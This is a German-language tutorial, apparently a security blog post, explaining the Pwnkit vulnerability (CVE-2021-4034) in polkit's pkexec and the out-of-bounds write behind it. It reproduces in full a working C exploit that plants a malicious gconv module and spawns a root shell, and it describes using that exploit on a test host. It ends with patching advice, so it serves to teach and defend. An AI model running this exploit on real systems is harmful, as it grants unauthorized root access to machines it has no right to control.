
Lokale Rechteausweitung (LPE)-Schwachstelle in Polkit - Pwnkit
Im Jahr 2021 entdeckt, aber im Januar 2022 angekündigt und veröffentlicht, wurde CVE-2021-4034 liebevoll Pwnkit genannt; es ist jedoch in allen Versionen des Policy Toolkit - Polkit-Pakets in praktisch allen Linux-Distributionen vorhanden. Kurz gesagt, ermöglicht diese Schwachstelle jedem nicht privilegierten Angreifer, seine Zugriffsrechte vertikal bis zum OS-Administrator zu erweitern.
[!IMPORTANT] Wir finden diese Schwachstelle in pkexec Version 0.105 oder früher.
Obwohl es sich um eine äußerst kritische CVE handelt, die laut NIST.GOV mit einem CVSS-Score von 7.8 Punkten eingestuft wurde, wird sie nur lokal ausgenutzt, das heißt, es ist nicht möglich, sie remote (Webzugriff) auszunutzen.
Polkit fungiert als Linux-Autorisierungssystem. Wenn du einen Benutzer mit wenig Berechtigungen hast und dieser eine Aufgabe ausführen muss, die hohe Berechtigungen erfordert (z. B. Administrator), prüft Polkit, ob dein Benutzer die erforderliche Berechtigung besitzt.
Beispielsweise können wir mit dem PKexec-Dienstprogramm die Polkit-Funktion aufrufen, die die Berechtigung prüft und nach einem Passwort fragt, falls diese nicht vorhanden ist. Wie im folgenden Beispiel:
Wie oben gezeigt, existiert die Pwnkit-Schwachstelle in PKexec (im Prozess der Berechtigungsprüfung). Bei dieser Schwachstelle gibt es keine Sicherheit bei der Verarbeitung von Parametern, wenn PKexec über die Befehlszeile (CLI) ausgeführt wird, wodurch der Angreifer die Umgebung manipulieren kann, und es tritt ein Fehler namens „Out-of-Bounds Write“ auf.
PKexec versucht, alle Befehlszeilenargumente, die wir übergeben, mit einer for-Schleife zu parsen. Dabei beginnt es bei einem Index von 1, um den Programmnamen zu überspringen und das erste echte Argument zu erhalten. Der Programmname ist für das Parsen der Argumente irrelevant, daher wird der Index einfach versetzt, um ihn zu ignorieren.
Wenn wir also keine Argumente definieren, wird der Index automatisch auf 1 gesetzt.
Erstellen wir unten ein Beispiel.
for(n=1; n < number_of_arguments; n++){
}
Wenn die Anzahl der Argumente 0 ist, ist 'N' nie kleiner als die Anzahl der Argumente. Dadurch bleibt 'N' gleich eins und die Schleife wird vollständig umgangen, die Schleife wird nicht ausgeführt.
Da es keine Befehlszeilenargumente gibt, existiert kein Argument am Index n – stattdessen überschreibt das Programm das nächste Element im Speicher, das zufällig der erste Wert in der Liste der Umgebungsvariablen ist, wenn das Programm über eine C-Funktion namens execve() aufgerufen wird. Mit anderen Worten: Indem wir PKexec eine leere Argumentliste übergeben, können wir es zwingen, eine Umgebung zu überschreiben.
Es gibt mehrere Möglichkeiten und verschiedene Internet-Skripte, die diese Schwachstelle leicht ausnutzen. Um Zeit zu sparen, verwenden wir ein in C geschriebenes Skript, das diese Schwachstelle ausnutzt, aus dem Repository unseres Freundes Arthepsy.
Dieses Skript nutzt die Variable GCONV_PATH, um ein Shared Object einzubinden, das /bin/sh als Root aufruft.
Arthepsy - CVE-2021-4034 - exploit.c
Bevor du das Skript ausführst, prüfen wir deinen Zugriff auf den verwundbaren Host.
Wir haben einen Benutzer mit UID 1000 (kein Root) und können keine Administratorfunktionen wie Useradd ausführen.
Wir haben Zugriff auf den Root-Benutzer erhalten und konnten einige Funktionen wie Useradd ausführen (der Fehler bezieht sich auf ein anderes Problem, aber wir konnten den Prozess als Root ausführen).
Erledigt ✔️
Zum Abschluss dieser Ausnutzung können wir uns schnell das folgende Exploit-Skript ansehen:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Es nutzt im Wesentlichen die bereits beschriebenen PKexec-Argumente aus und überschreibt die Umgebungsvariable GCONV_PATH mit /bin/sh und setzt stuid(0) (Root).
Es sind bereits korrigierte Versionen im OS-Paket selbst verfügbar. Indem du nur die Befehle sudo apt update && sudo apt upgrade ausführst, kannst du dieses Problem deines Systems bereits beheben.